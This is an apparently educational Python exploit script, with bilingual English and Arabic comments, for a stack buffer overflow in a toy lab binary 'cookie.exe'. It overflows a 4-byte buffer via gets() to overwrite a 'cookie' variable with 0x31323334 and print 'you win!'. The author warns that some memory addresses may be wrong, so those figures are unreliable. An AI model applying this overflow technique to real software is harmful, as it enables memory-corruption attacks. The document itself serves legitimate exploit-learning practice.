#!/usr/bin/python
"""

NOTE!!: 
Some addresses might be wrong, I'm in the process of learning BOF, so maybe I did some mistakes, please check it yourself

ملاحظة!!: 
بعض عناوين الذاكرة قد يكون تم إستخراجها بشكل خاطئ ، 
حيث أن الغرض من هذا الكود هو تعلم ثغرات فيضان ذاكرة التخزين المؤقت، 
لذا فضلًا تأكد من جميع ماورد ذكره هنا بنفسك ولا تعتمد عليه بشكل مطلق
  

#=================================================================================================================================#
#=================================================================================================================================#

                         ___ (1) ___
################## cookie.exe Analysing ###########################
################## cookie.exe : تحليل البرنامج  ##################

1 - Methods addresses (العناوين الخاصة بالدوال التي تهمنا) :
	# main >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 00401290

	(bulit in method, and vulnerable method to BOF)
	(هذه الدالة من الدوال المعرفة في لغة "سي" ومعرضة لثغرات فيضان ذاكرة التخزين المؤقت )
	# gets  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 00401850 

----------------------------------------------------------------------

2 - Calling addresses (العناوين الخاصة بنداء الدوال) :
	# gets() >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 004012DA 
								

----------------------------------------------------------------------


#=================================================================================================================================#
#=================================================================================================================================#


                         ___ (2) ___
################## cookie.exe Exploiting  ###################
##################   cookie.exe : إستغلال ###################

This exploit will be simple , no shellcode injection, 
we just wanna overwrite the value of "cookie" variable with the value that makes "if condition" true 
The exploit will be :
1 - Filling up with a junk data (4*A) , exceed the maximum size of "char buffer[4]" variable
2 - overwrite "cookie" variable with the : 0x31323334


 Shellcode الإستغلال سيكون بسيط جدًا ، لن نقوم بعملية حقن لأي كود 
فقط سنقوم : 
1 - ملئ المتغير التالي : 
char buffer[4] 
بأكبر قيمة يسعها هذا المتغير 

2 - الكتابة فوق قيمة المتغير التالي : 
int cookie=0; 
بالقيمة التي تحقق شرط طباعة الجملة التي نريد ظهورها 

"""


import subprocess

# NOTE : All HEXes in Little Endian Representation, because it's windows exploit .

# fill with a junk data (the maximum size of buffer) .
# الغرض من هذا المتغير لملئ متغير البفر بأكبر قيمة يسعها
fill = "\x41" * 4

# 0x31323334 : This is secret Cookie's value, which makes "if condition" True, then we get "you win!" message .
# 0x31323334 : هذه القيمة هي التي تجعل شرط طباعة الجملة صحيح ، 
# cookie: وهي القيمة التي سنقوم بكتابتها فوق قيمة المتغير 
secretCookieValue = "\x34\x33\x32\x31"

# Passing this commands to exploit() method
# هذا المتغير يحفظ قيمة " تعليمة الإستغلال"
exploitCommands = fill + secretCookieValue

# This variable stores program path, to pass it to exploit() method .
# هذا المتغير يحفظ المسار الخاص بتخزين البرنامج في الجهاز
programPath = 'cookie.exe'


# This function runs "Program" and pass the required "Arguments" to it .
# هذه الدالة معنية بفتح ملف تنفيذي وتمرير "الباراميترات" التي يحتاجها البرنامج ليعمل
# قمنا هنا بإستخدام الدالة بالشكل الآتي :
# 1 - تمرير المسار الخاص بالبرنامج الذي نريده 
# 2 - تمرير تعليمة الإستغلال التي توصلنا لها 

def exploit(program,*commands):
    process = subprocess.Popen(
        [program],
        stdin=subprocess.PIPE
       )
    process.communicate('\n'.join(commands) + '\n')

if __name__ == '__main__':
    exploit(programPath,exploitCommands)
